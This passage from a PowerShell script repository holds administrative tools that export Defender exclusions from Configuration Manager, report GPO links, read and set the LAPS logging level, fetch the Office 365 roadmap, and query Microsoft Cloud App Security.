$CMPolicyDefinition.SecurityPolicy.PolicySection.LocalGroupPolicySettings.AddKey | Select-Object Name, Disabled, AddValue | Where-Object { $_.Name -like "SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Extensions" } | Select-Object -ExpandProperty AddValue 43 | If ($null -eq $ExclusionExtensions) { 44 | $ExclusionExtensions = @() 45 | } 46 | 47 | $ExclusionProcesses = $CMPolicyDefinition.SecurityPolicy.PolicySection.LocalGroupPolicySettings.AddKey | Select-Object Name, Disabled, AddValue | Where-Object { $_.Name -like "SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Processes" } | Select-Object -ExpandProperty AddValue 48 | If ($null -eq $ExclusionProcesses) { 49 | $ExclusionProcesses = @() 50 | } 51 | 52 | 53 | ForEach($pathentry in $ExclusionPaths) 54 | { 55 | $pathresult = [PSCustomObject]@{ 56 | ExclusionType = "Path" 57 | Value = $pathentry.Name 58 | Policy = $CMPolicy 59 | File = "$CMPolicyFile" 60 | 61 | } 62 | [void]$PathData.Add($pathresult) 63 | } 64 | 65 | ForEach($extensionentry in $ExclusionExtensions) 66 | { 67 | $extresult = [PSCustomObject]@{ 68 | ExclusionType = "Extension" 69 | Value = $extensionentry.Name 70 | Policy = $CMPolicy 71 | File = "$CMPolicyFile" 72 | 73 | } 74 | [void]$ExtensionData.Add($extresult) 75 | } 76 | 77 | 78 | ForEach($processentry in $ExclusionProcesses) 79 | { 80 | $processresult = [PSCustomObject]@{ 81 | ExclusionType = "Process" 82 | Value = $processentry.Name 83 | Policy = $CMPolicy 84 | File = "$CMPolicyFile" 85 | } 86 | [void]$ProcessData.Add($processresult) 87 | } 88 | $output = $PathData + $ExtensionData + $ProcessData 89 | $output 90 | } 91 | End 92 | { 93 | } 94 | } -------------------------------------------------------------------------------- /EndpointConfigurationManager/ExportAntimalwareExclusions/export-cmdefenderpolicy.ps1: -------------------------------------------------------------------------------- 1 | function Export-CMDefenderPolicy 2 | { 3 | <# 4 | .Synopsis 5 | Export-CMDefenderPolicy 6 | .DESCRIPTION 7 | Export-CMDefenderPolicy exports antimalware policies from Microsoft Endpoint Configuration Manager. Use this cmdlet 8 | to export all CM Antimalware policies and then export the exclusion settings. 9 | 10 | $ExportPath = "C:\temp\defenderexclusion" 11 | Export-CMDefenderPolicy -Path $ExportPath -Verbose 12 | $CMAntimalwareFiles = Get-ChildItem -Path $ExportPath 13 | 14 | $AllExclusions = ForEach($File in $CMAntimalwareFiles) 15 | { 16 | Export-CMExclusions -CMPolicyFile $File.FullName 17 | } 18 | 19 | $AllExclusions | Export-Csv -Path C:\temp\defenderexclusion\allexclusions.csv -NoClobber -NoTypeInformation 20 | 21 | .EXAMPLE 22 | Export-CMDefenderPolicy -Path C:\temp\defenderexclusion 23 | .NOTES 24 | v1.0, 20.05.2022, Alex Verboon 25 | #> 26 | [CmdletBinding(SupportsShouldProcess=$true)] 27 | Param 28 | ( 29 | # Export Path 30 | [Parameter(Mandatory=$false)] 31 | [ValidateNotNull()] 32 | [ValidateNotNullOrEmpty()] 33 | $Path 34 | ) 35 | Begin 36 | { 37 | $AntimalwarePolicies = Get-CMAntimalwarePolicy 38 | } 39 | Process 40 | { 41 | ForEach($policy in $AntimalwarePolicies) 42 | { 43 | if ($pscmdlet.ShouldProcess("$($policy.Name)", "Export")) 44 | { 45 | Write-Verbose $policy.name 46 | $ExportFilename = $($Policy.Name).Split([IO.Path]::GetInvalidFileNameChars()) -join '_' 47 | $ExportFilename = $($ExportFilename).Replace(" ","") + ".xml" 48 | If($policy.Name -eq "Default Client Antimalware Policy") 49 | { 50 | # skipping the default client antimalware policy, having an issue with export here 51 | # that I look at another time :-) 52 | } 53 | Else 54 | { 55 | Export-CMAntimalwarePolicy -InputObject $policy -Path "$Path\$ExportFilename" 56 | } 57 | } 58 | } 59 | } 60 | End 61 | { 62 | } 63 | } 64 | 65 | -------------------------------------------------------------------------------- /GPO/Get-GPOLink.ps1: -------------------------------------------------------------------------------- 1 | ## https://mikefrobbins.com/2013/11/14/determine-what-active-directory-organization-units-a-group-policy-is-linked-to-with-powershell/ 2 | #Requires -Modules GroupPolicy 3 | 4 | function Get-GPOLink { 5 | <# 6 | .SYNOPSIS 7 | Returns the Active Directory (AD) Organization Units (OU's) that a Group Policy Object (GPO) is linked to. 8 | 9 | .DESCRIPTION 10 | Get-GPOLink is a function that returns the Active Directory Organization Units (OU's) that a Group Policy 11 | Object (GPO) is linked to. 12 | 13 | .PARAMETER Name 14 | The Name of the Group Policy Object. 15 | 16 | .EXAMPLE 17 | Get-GPOLink -Name 'Default Domain Policy' 18 | 19 | .EXAMPLE 20 | Get-GPOLink -Name 'Default Domain Policy', 'Default Domain Controllers Policy' 21 | 22 | .EXAMPLE 23 | 'Default Domain Policy' | Get-GPOLink 24 | 25 | .EXAMPLE 26 | 'Default Domain Policy', 'Default Domain Controllers Policy' | Get-GPOLink 27 | 28 | .EXAMPLE 29 | Get-GPO -All | Get-GPO-Link 30 | 31 | .INPUTS 32 | System.String, Microsoft.GroupPolicy.Gpo 33 | 34 | .OUTPUTS 35 | PSCustomObject 36 | #> 37 | 38 | [CmdletBinding()] 39 | param ( 40 | [Parameter(Mandatory, 41 | ValueFromPipeline, 42 | ValueFromPipelineByPropertyName)] 43 | [Alias('DisplayName')] 44 | [string[]]$Name 45 | ) 46 | 47 | PROCESS { 48 | 49 | foreach ($n in $Name) { 50 | $problem = $false 51 | 52 | try { 53 | Write-Verbose -Message "Attempting to produce XML report for GPO: $n" 54 | 55 | [xml]$report = Get-GPOReport -Name $n -ReportType Xml -ErrorAction Stop 56 | } 57 | catch { 58 | $problem = $true 59 | Write-Warning -Message "An error occured while attempting to query GPO: $n" 60 | } 61 | 62 | if (-not($problem)) { 63 | Write-Verbose -Message "Returning results for GPO: $n" 64 | 65 | [PSCustomObject]@{ 66 | 'GPOName' = $report.GPO.Name 67 | 'LinksTo' = $report.GPO.LinksTo.SOMName 68 | 'Enabled' = $report.GPO.LinksTo.Enabled 69 | 'NoOverride' = $report.GPO.LinksTo.NoOverride 70 | 'CreatedDate' = ([datetime]$report.GPO.CreatedTime).ToShortDateString() 71 | 'ModifiedDate' = ([datetime]$report.GPO.ModifiedTime).ToShortDateString() 72 | } 73 | 74 | } 75 | 76 | } 77 | 78 | } 79 | 80 | } -------------------------------------------------------------------------------- /Ignite/2019/ffmpeg.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/Ignite/2019/ffmpeg.exe -------------------------------------------------------------------------------- /Ignite/2019/findstuff.ps1: -------------------------------------------------------------------------------- 1 |  2 | # 1. download the script 3 | # https://gallery.technet.microsoft.com/Ignite-2016-Slidedeck-and-296df316#content 4 | 5 | # 2. Open PowerShell prompt (not ISE) 6 | 7 | # 3. Adjust paths below for script location and output directory 8 | 9 | # 4. Run the below command to get a list of all sessions 10 | 11 | $allsessions = C:\dev\Private\PowerShellSnippets\Ignite\Get-EventSession.ps1 -InfoOnly 12 | # note this creates a session cache file that is valid for 1 day, the file is located in the script folder "Ignite-Sessions.cache" 13 | 14 | # Select the sessons to download 15 | $Selections = $allsessions | Select-Object SessionCode,Title | Out-GridView -OutputMode Multiple 16 | ForEach ($session in $Selections) 17 | { 18 | write-host "Retrieving "$($session).SessionCode"" 19 | C:\dev\Private\PowerShellSnippets\Ignite\Get-EventSession.ps1 -ScheduleCode $($session).SessionCode -DownloadFolder "C:\Data\ignite" 20 | } 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /Ignite/2019/youtube-dl.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/Ignite/2019/youtube-dl.exe -------------------------------------------------------------------------------- /LAPS/Get-LAPSLoggingMode.ps1: -------------------------------------------------------------------------------- 1 | 2 | 3 | function Get-LAPSLoggingMode 4 | { 5 | <# 6 | .SYNOPSIS 7 | Get-LAPSLoggingMode 8 | 9 | .DESCRIPTION 10 | Get-LAPSLoggingMode retrieves the ExtensionDebugLevel status from the LAPS Client Side Extension. 11 | 12 | Possible values are: 13 | 14 | 0 Silent mode; log errors only 15 | 1 Log Errors and warnings 16 | 2 Verbose mode, log everything 17 | 18 | .PARAMETER Computername 19 | Specifies the computers on which the command runs. The default is the local computer. 20 | When you use the ComputerName parameter, Windows PowerShell creates a temporary connection that is used only to run the specified command and is then closed. If you need a persistent connection, use the Session parameter. 21 | Type the NETBIOS name, IP address, or fully qualified domain name of one or more computers in a comma-separated list. To specify the local computer, type the computer name, localhost, or a dot (.). 22 | To use an IP address in the value of ComputerName , the command must include the Credential parameter. Also, the computer must be configured for HTTPS transport or the IP address of the remote computer must be included in the WinRM TrustedHosts list on the local computer. For instructions for adding a computer name to the TrustedHosts list, see "How to Add a Computer to the Trusted Host List" in about_Remote_Troubleshooting. 23 | On Windows Vista and later versions of the Windows operating system, to include the local computer in the value of ComputerName , you must open Windows PowerShell by using the Run as administrator option. 24 | 25 | .PARAMETER Credential 26 | Specifies a user account that has permission to perform this action. The default is the current user. 27 | Type a user name, such as User01 or Domain01\User01. Or, enter a PSCredential object, such as one generated by the Get-Credential cmdlet. If you type a user name, this cmdlet prompts you for a password. 28 | 29 | .PARAMETER UseSSL 30 | Indicates that this cmdlet uses the Secure Sockets Layer (SSL) protocol to establish a connection to the remote computer. By default, SSL is not used. 31 | WS-Management encrypts all Windows PowerShell content transmitted over the network. The UseSSL parameter is an additional protection that sends the data across an HTTPS, instead of HTTP. 32 | If you use this parameter, but SSL is not available on the port that is used for the command, the command fails. 33 | 34 | .PARAMETER ThrottleLimit 35 | Specifies the maximum number of concurrent connections that can be established to run this command. If you omit this parameter or enter a value of 0, the default value, 32, is used. 36 | The throttle limit applies only to the current command, not to the session or to the computer. 37 | 38 | .PARAMETER Authentication 39 | Specifies the mechanism that is used to authenticate the user's credentials. The acceptable values for this 40 | 41 | parameter are: 42 | 43 | - Default 44 | - Basic 45 | - Credssp 46 | - Digest 47 | - Kerberos 48 | - Negotiate 49 | - NegotiateWithImplicitCredential 50 | 51 | The default value is Default. 52 | 53 | CredSSP authentication is available only in Windows Vista, Windows Server 2008, and later versions of the Windows operating system. 54 | For information about the values of this parameter, see the description of the AuthenticationMechanismEnumeration (http://go.microsoft.com/fwlink/?LinkID=144382) in theMicrosoft Developer Network (MSDN) library. 55 | CAUTION: Credential Security Support Provider (CredSSP) authentication, in which the user's credentials are passed to a remote computer to be authenticated, is designed for commands that require authentication on more than one resource, such as accessing a remote network share. This mechanism increases the security risk of the remote operation. If the remote computer is compromised, the credentials that are passed to it can be used to control the 56 | network session. 57 | 58 | .EXAMPLE 59 | Get-LAPSLoggingMode -Computer W10Client1,W10Client2,W10Client3 60 | 61 | Computername LAPSLoggingRegStatus LAPSLogModeDescription KeyPresent 62 | ------------ -------------------- ---------------------- ---------- 63 | W10CLIENT1 0 Silent mode; log errors only True 64 | W10CLIENT2 False 65 | W10CLIENT3 2 Verbose mode, log everything True 66 | 67 | This example retrieves the LAPS CSE Debug Status from several remote computers 68 | 69 | .EXAMPLE 70 | $cred = Get-Credential 71 | Get-LAPSLoggingMode -Computer W10Client1,W10Client2,W10Client3 -Credential $cred 72 | 73 | Computername LAPSLoggingRegStatus LAPSLogModeDescription KeyPresent 74 | ------------ -------------------- ---------------------- ---------- 75 | W10CLIENT1 0 Silent mode; log errors only True 76 | W10CLIENT2 False 77 | W10CLIENT3 2 Verbose mode, log everything True 78 | 79 | This example retrieves the LAPS CSE Debug Status from several remote computers using a credential 80 | 81 | .NOTES 82 | Credits to Jeffery Hicks for the Function Template 83 | https://jdhitsolutions.com/blog/powershell/6348/building-more-powershell-functions/ 84 | 85 | Version: 1.0 86 | Author: Alex Verboon 87 | Creation Date: 11.01.2019 88 | Purpose/Change: Initial script development 89 | 90 | #> 91 | 92 | [CmdletBinding()] 93 | [Alias()] 94 | #[OutputType([String])] 95 | Param 96 | ( 97 | # Param1 help description 98 | [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName,Position = 0)] 99 | [string[]]$Computername = $env:COMPUTERNAME, 100 | [PSCredential]$Credential, 101 | [switch]$UseSSL, 102 | [Int32]$ThrottleLimit, 103 | [ValidateSet('Default', 'Basic', 'Credssp', 'Digest', 'Kerberos', 'Negotiate', 'NegotiateWithImplicitCredential')] 104 | [ValidateNotNullorEmpty()] 105 | [string]$Authentication = "default" 106 | ) 107 | 108 | Begin 109 | { 110 | $sb = { 111 | 112 | # Location of the LAPS CSE 113 | $LAPSLoggingRegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}" 114 | # Debug Level Key 115 | $LAPSLoggingRegKey = "ExtensionDebugLevel" 116 | 117 | [string]$LAPSLogModeDescription = $null 118 | [string]$LAPSLoggingRegStatus = $null 119 | 120 | Write-Verbose "Check if $LAPSLoggingRegKey is present at $LAPSLoggingRegPath on $ENV:Computername" 121 | $LAPSLoggingRegStatus = Get-ItemProperty -Path $LAPSLoggingRegPath -Name $LAPSLoggingRegKey -ErrorAction SilentlyContinue | Select-Object $LAPSLoggingRegKey -ExpandProperty $LAPSLoggingRegKey 122 | switch ($LAPSLoggingRegStatus) 123 | { 124 | 0 {$LAPSLogModeDescription = "Silent mode; log errors only"} 125 | 1 {$LAPSLogModeDescription = "Log Errors and warnings"} 126 | 2 {$LAPSLogModeDescription = "Verbose mode, log everything"} 127 | } 128 | 129 | $Object = [ordered]@{ 130 | Computername = "$env:Computername" 131 | LAPSLoggingRegStatus = $LAPSLoggingRegStatus 132 | LAPSLogModeDescription = $LAPSLogModeDescription 133 | KeyPresent = If ([string]::IsNullOrEmpty($LAPSLoggingRegStatus)) {"$False"} Else {"$True"} 134 | } 135 | $LAPSResult = (New-Object -TypeName PSObject -Property $object) 136 | $LAPSResult 137 | } #end scriptblock 138 | 139 | if ($PSBoundParameters.ContainsKey("Computername")) { 140 | $sbRemote = { 141 | # Get Remote Verbose Preference 142 | $VerbosePreference = $using:VerbosePreference 143 | } 144 | $newScriptBlock = [ScriptBlock]::Create($sbRemote.ToString() + $sb.ToString()) 145 | $sb = $newScriptBlock 146 | } 147 | 148 | #update PSBoundParameters so it can be splatted to Invoke-Command 149 | $PSBoundParameters.Add("ScriptBlock", $sb) | Out-Null 150 | $PSBoundParameters.Add("HideComputername", $True) | Out-Null 151 | 152 | } 153 | 154 | Process 155 | { 156 | if (-Not $PSBoundParameters.ContainsKey("Computername")) { 157 | # There is no computername provided so we run things locally. 158 | & $sb 159 | } 160 | else { 161 | #$PSBoundParameters | Out-String | Write-Verbose 162 | Invoke-Command @PSBoundParameters -ArgumentList $VerbosePreference | Select-Object -Property * -ExcludeProperty RunspaceID, PS* 163 | } 164 | } 165 | End 166 | { 167 | } 168 | } -------------------------------------------------------------------------------- /LAPS/Set-LAPSLoggingMode.ps1: -------------------------------------------------------------------------------- 1 | function Set-LAPSLoggingMode 2 | { 3 | <# 4 | .SYNOPSIS 5 | Set-LAPSLoggingMode 6 | 7 | .DESCRIPTION 8 | Set-LAPSLoggingMode sets the ExtensionDebugLevel status for the LAPS Client Side Extension. 9 | 10 | Possible values are: 11 | 12 | 0 Silent mode; log errors only (Default) 13 | 1 Log Errors and warnings 14 | 2 Verbose mode, log everything 15 | 16 | .PARAMETER Computername 17 | Specifies the computers on which the command runs. The default is the local computer. 18 | When you use the ComputerName parameter, Windows PowerShell creates a temporary connection that is used only to run the specified command and is then closed. If you need a persistent connection, use the Session parameter. 19 | Type the NETBIOS name, IP address, or fully qualified domain name of one or more computers in a comma-separated list. To specify the local computer, type the computer name, localhost, or a dot (.). 20 | To use an IP address in the value of ComputerName , the command must include the Credential parameter. Also, the computer must be configured for HTTPS transport or the IP address of the remote computer must be included in the WinRM TrustedHosts list on the local computer. For instructions for adding a computer name to the TrustedHosts list, see "How to Add a Computer to the Trusted Host List" in about_Remote_Troubleshooting. 21 | On Windows Vista and later versions of the Windows operating system, to include the local computer in the value of ComputerName , you must open Windows PowerShell by using the Run as administrator option. 22 | 23 | .PARAMETER Credential 24 | Specifies a user account that has permission to perform this action. The default is the current user. 25 | Type a user name, such as User01 or Domain01\User01. Or, enter a PSCredential object, such as one generated by the Get-Credential cmdlet. If you type a user name, this cmdlet prompts you for a password. 26 | 27 | .PARAMETER UseSSL 28 | Indicates that this cmdlet uses the Secure Sockets Layer (SSL) protocol to establish a connection to the remote computer. By default, SSL is not used. 29 | WS-Management encrypts all Windows PowerShell content transmitted over the network. The UseSSL parameter is an additional protection that sends the data across an HTTPS, instead of HTTP. 30 | If you use this parameter, but SSL is not available on the port that is used for the command, the command fails. 31 | 32 | .PARAMETER ThrottleLimit 33 | Specifies the maximum number of concurrent connections that can be established to run this command. If you omit this parameter or enter a value of 0, the default value, 32, is used. 34 | The throttle limit applies only to the current command, not to the session or to the computer. 35 | 36 | .PARAMETER Authentication 37 | Specifies the mechanism that is used to authenticate the user's credentials. The acceptable values for this 38 | 39 | parameter are: 40 | 41 | - Default 42 | - Basic 43 | - Credssp 44 | - Digest 45 | - Kerberos 46 | - Negotiate 47 | - NegotiateWithImplicitCredential 48 | 49 | The default value is Default. 50 | 51 | CredSSP authentication is available only in Windows Vista, Windows Server 2008, and later versions of the Windows operating system. 52 | For information about the values of this parameter, see the description of the AuthenticationMechanismEnumeration (http://go.microsoft.com/fwlink/?LinkID=144382) in theMicrosoft Developer Network (MSDN) library. 53 | CAUTION: Credential Security Support Provider (CredSSP) authentication, in which the user's credentials are passed to a remote computer to be authenticated, is designed for commands that require authentication on more than one resource, such as accessing a remote network share. This mechanism increases the security risk of the remote operation. If the remote computer is compromised, the credentials that are passed to it can be used to control the 54 | network session. 55 | 56 | .EXAMPLE 57 | Set-LAPSLoggingMode -Computer W10Client1 58 | 59 | .NOTES 60 | Credits to Jeffery Hicks for the Function Template 61 | https://jdhitsolutions.com/blog/powershell/6348/building-more-powershell-functions/ 62 | 63 | Version: 1.0 64 | Author: Alex Verboon 65 | Creation Date: 11.01.2019 66 | Purpose/Change: Initial script development 67 | 68 | #> 69 | 70 | [CmdletBinding(SupportsShouldProcess)] 71 | [Alias()] 72 | #[OutputType([String])] 73 | Param 74 | ( 75 | # Param1 help description 76 | [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName,Position = 0)] 77 | [string[]]$Computername = $env:COMPUTERNAME, 78 | [PSCredential]$Credential, 79 | [switch]$UseSSL, 80 | [Int32]$ThrottleLimit, 81 | [ValidateSet('Default', 'Basic', 'Credssp', 'Digest', 'Kerberos', 'Negotiate', 'NegotiateWithImplicitCredential')] 82 | [ValidateNotNullorEmpty()] 83 | [string]$Authentication = "default", 84 | 85 | [Parameter(Mandatory=$true, 86 | ValueFromPipelineByPropertyName=$true)] 87 | [ValidateSet("Errors","ErrorsWarnings","Verbose")] 88 | [string]$LAPSLoggingMode 89 | ) 90 | 91 | Begin 92 | { 93 | $sb = { 94 | #$LAPSLoggingMode = $using:LAPSLoggingMode 95 | # Location of the LAPS CSE 96 | $LAPSLoggingRegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}" 97 | # Debug Level Key 98 | $LAPSLoggingRegKey = "ExtensionDebugLevel" 99 | 100 | [string]$LAPSLogModeDescription = $null 101 | [string]$LAPSLoggingRegStatus = $null 102 | [string]$LAPSCSEStatus = $null 103 | [string]$NewLAPSLoggingRegStatus = $null 104 | 105 | Write-Verbose "Check if LAPS CSE is registered on $ENV:Computername" 106 | $LAPSCSEStatus = Get-Item -Path $LAPSLoggingRegPath -ErrorAction SilentlyContinue 107 | If (-not ([string]::IsNullOrEmpty($LAPSCSEStatus))) 108 | { 109 | Write-Verbose "Check if $LAPSLoggingRegKey is present at $LAPSLoggingRegPath on $ENV:Computername" 110 | $LAPSLoggingRegStatus = Get-ItemProperty -Path $LAPSLoggingRegPath -Name $LAPSLoggingRegKey -ErrorAction SilentlyContinue | Select-Object $LAPSLoggingRegKey -ExpandProperty $LAPSLoggingRegKey 111 | If ([string]::IsNullOrEmpty($LAPSLoggingRegStatus)) 112 | { 113 | Write-host "Current LAPS Logging mode: Not defined" 114 | } 115 | else { 116 | switch ($LAPSLoggingRegStatus) 117 | { 118 | 0 {$LAPSLogModeDescription = "Silent mode; log errors only"} 119 | 1 {$LAPSLogModeDescription = "Log Errors and warnings"} 120 | 2 {$LAPSLogModeDescription = "Verbose mode, log everything"} 121 | } 122 | Write-verbose "Current LAPS Logging mode: $LAPSLoggingRegStatus $LAPSLogModeDescription" 123 | } 124 | 125 | switch ($LAPSLoggingMode) 126 | { 127 | "Errors" {$NewLAPSLoggingRegStatus = 0; $NewLAPSLogModeDescription = "Silent mode; log errors only" } 128 | "ErrorsWarnings" {$NewLAPSLoggingRegStatus = 1; $NewLAPSLogModeDescription = "Log Errors and warnings"} 129 | "Verbose" {$NewLAPSLoggingRegStatus = 2; $NewLAPSLogModeDescription = "Verbose mode, log everything"} 130 | } 131 | 132 | # Set LAPS CSE Debug Mode 133 | Try{ 134 | Write-verbose "Setting LAPS Logging Mode to $NewLAPSLogModeDescription" 135 | Set-ItemProperty -Path $LAPSLoggingRegPath -Name $LAPSLoggingRegKey -Value $NewLAPSLoggingRegStatus 136 | } 137 | Catch{ 138 | $_.Exception.Message 139 | $_.Exception.ItemName 140 | } 141 | } 142 | else { 143 | write-verbose "LAPS CSE is not installed, please install LAPS before setting Log mode" 144 | } 145 | } #end scriptblock 146 | 147 | if ($PSBoundParameters.ContainsKey("Computername")) { 148 | $sbRemote = { 149 | # Get Remote Verbose Preference 150 | $VerbosePreference = $using:VerbosePreference 151 | $WhatIfPreference = $Using:WhatifPreference 152 | $LAPSLoggingMode = $using:PassLoggingMode 153 | } 154 | $newScriptBlock = [ScriptBlock]::Create($sbRemote.ToString() + $sb.ToString()) 155 | $sb = $newScriptBlock 156 | } 157 | Else 158 | { 159 | $sbLocal = { 160 | $LAPSLoggingMode = $LAPSLoggingMode 161 | } 162 | $newScriptBlock = [ScriptBlock]::Create($sbLocal.ToString() + $sb.ToString()) 163 | $sb = $newScriptBlock 164 | } 165 | 166 | #update PSBoundParameters so it can be splatted to Invoke-Command 167 | $PSBoundParameters.Add("ScriptBlock", $sb) | Out-Null 168 | $PSBoundParameters.Add("HideComputername", $True) | Out-Null 169 | 170 | # We're passing these Parameters to the INvoke-cmmand arguments and then remove the parameters that invoke-command doesn't know about 171 | $PassLoggingMode = $PSBoundParameters.LAPSLoggingMode 172 | $PSBoundParameters.Remove("LAPSLoggingMode") | Out-Null 173 | 174 | $Whatif = $WhatifPreference 175 | $PSBoundParameters.Remove("Whatif") | Out-Null 176 | 177 | } 178 | Process 179 | { 180 | if (-Not $PSBoundParameters.ContainsKey("Computername")) { 181 | # There is no computername provided so we run things locally. 182 | & $sb 183 | } 184 | else { 185 | # $PSBoundParameters | Out-String | Write-Verbose 186 | Invoke-Command @PSBoundParameters -ArgumentList $LAPSLoggingMode,$VerbosePreference,$WhatifPreference | Select-Object -Property * -ExcludeProperty RunspaceID, PS* 187 | } 188 | } 189 | End 190 | { 191 | } 192 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Alex Verboon 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /M365Roadmap/Get-Office365Roadmap.ps1: -------------------------------------------------------------------------------- 1 |  2 | 3 | Function Get-Office365Roadmap { 4 | 5 | <# 6 | .Synopsis 7 | Get-Office365Roadmap 8 | .DESCRIPTION 9 | Get-Office365Roadmap retrieves Office 365 information 10 | .EXAMPLE 11 | Get-Office365Roadmap 12 | 13 | Retrieves the complete Office 365 roadmap information 14 | 15 | .EXAMPLE 16 | Get-Office365Roadmap -Stats 17 | 18 | Count Name 19 | ----- ---- 20 | 203 In development 21 | 191 Launched 22 | 17 Previously released 23 | 61 Rolling out 24 | 3 Cancelled 25 | 26 | .PARAMETER Stats 27 | Shows the total number of features grouped by deployment status 28 | 29 | #> 30 | [CmdletBinding()] 31 | Param( 32 | [switch]$Stats 33 | ) 34 | 35 | Begin{} 36 | Process{ 37 | $roadmapfeatures = Invoke-WebRequest -Uri https://roadmap-api.azurewebsites.net/api/features 38 | $features = $roadmapfeatures.Content 39 | $rm = ($features) -join "`n" | ConvertFrom-Json 40 | } 41 | 42 | End{ 43 | If ($Stats -eq $true) 44 | { 45 | $rm | Group-Object Status | Select-Object Count,Name 46 | } 47 | Else 48 | { 49 | $rm 50 | } 51 | } 52 | } -------------------------------------------------------------------------------- /MCAS/Connect-PSMCAS.ps1: -------------------------------------------------------------------------------- 1 |  2 | function Connect-PSMCAS 3 | { 4 | <# 5 | .Synopsis 6 | Connect-PSMCAS 7 | .DESCRIPTION 8 | Connect-PSMCAS connects with the MCAS API and sets the $CASCredential variable 9 | that is used by various functions included in the MCAS PowerShell Module. 10 | .EXAMPLE 11 | MCAS-Connect 12 | #> 13 | [CmdletBinding()] 14 | Param 15 | ( 16 | # MCAS Token, generated withn the MCAS Console 17 | [Parameter(Mandatory=$true, 18 | ValueFromPipelineByPropertyName=$true, 19 | Position=0)] 20 | [string]$MCASToken, 21 | [Parameter(Mandatory=$true, 22 | ValueFromPipelineByPropertyName=$true, 23 | Position=0)] 24 | [string]$MCASUrl 25 | ) 26 | Begin 27 | { 28 | try { 29 | Import-Module MCAS -ErrorAction Stop -Verbose:$false} 30 | catch 31 | {Write-Error "MCAS module failed to Import. Terminating the script. More details : $_" 32 | Exit(1) 33 | } 34 | 35 | } 36 | Process 37 | { 38 | $User=$MCASUrl 39 | $PWord=ConvertTo-SecureString -String "$MCASToken" -AsPlainText -Force 40 | $CASCredential=New-Object -TypeName System.Management.Automation.PSCredential -argumentList $User, $PWord 41 | $Credential=$CASCredential 42 | $CASCredential 43 | 44 | Try{ 45 | $Conf=Get-MCASConfiguration -Credential $CASCredential -ErrorAction Stop 46 | If(-not ([string]::IsNullOrEmpty($Conf))) 47 | { 48 | Write-verbose "Connection to MCAS $MCASUrl OK!" 49 | } 50 | 51 | } 52 | Catch 53 | { 54 | write-error "Can't run the MCAS cmdlet Get-MCASConfiguration, something isn't working!" 55 | } 56 | } 57 | End 58 | { 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /MCAS/MCAS Samples.md: -------------------------------------------------------------------------------- 1 | # MCAS Samples 2 | 3 | ## Alerts 4 | 5 | # Get MCAS Alerts 6 | Get-MCASAlert -Credential $mcasconnect | Select-Object Description 7 | 8 | # Get User Activity 9 | 10 | $Activities = Get-MCASActivity -Credential $mcasconnect -UserName 'joe@contoso.com' -ResultSetSize 50 11 | $result = ForEach($act in $Activities) 12 | { 13 | [PSCustomObject] [ordered]@{ 14 | AppName = $act.AppName 15 | Device = $act.device.clientip 16 | Country = $act.location.countryCode 17 | City = $act.location.city 18 | region = $act.location.region 19 | CreatedDateTime = ([datetimeoffset]::FromUnixTimeMilliseconds(1000 * ((($act.created).toString()).substring(0,10) + "." + (($act.created).toString()).substring(10,3)))).DateTime 20 | } 21 | } 22 | $result 23 | 24 | #MCAS Configuration 25 | Get-MCASConfiguration -Credential $mcasconnect 26 | 27 | #MCAS App Info, the cmdlet validates the AppNames 28 | Get-MCASAppId -AppName Office_365 29 | # 11161 30 | 31 | Get-MCASAppInfo -AppId 11161 | Select-object Name, Description 32 | 33 | 34 | 35 | # 36 | $n = 11161 37 | $apps = while ($n -ne 11500) 38 | { 39 | Get-MCASAppInfo -Credential $mcasconnect -AppId $n | Select-Object Name, appid,childapps,app_level 40 | Start-Sleep -Seconds 1 41 | $n++ 42 | } 43 | 44 | 45 | 46 | # File Accessed 47 | Get-MCASActivity -EventTypeName "EVENT_CATEGORY_ACCESS_FILE" -Credential $mcasconnect 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /MCAS/MCAS-Powershell Samples.ps1: -------------------------------------------------------------------------------- 1 |  2 | $mcastoken = "" 3 | $mcasurl = "avmtplab.eu2.portal.cloudappsecurity.com" 4 | #$mcasconnect = Connect-PSMCAS -MCASUrl $mcasurl -MCASToken $mcastoken 5 | Get-MCASCredential -TenantUri "avmtplab.eu2.portal.cloudappsecurity.com" 6 | 7 | 8 | ## Apps 9 | # Get all EventTypes 10 | (Get-MCASActivity -AppName Office_365 | Group-Object EventTypeName).Name 11 | 12 | # App Grant Consent 13 | Get-MCASActivity -EventTypeName "EVENT_CATEGORY_GRANT_CONSENT" 14 | 15 | 16 | # Get all 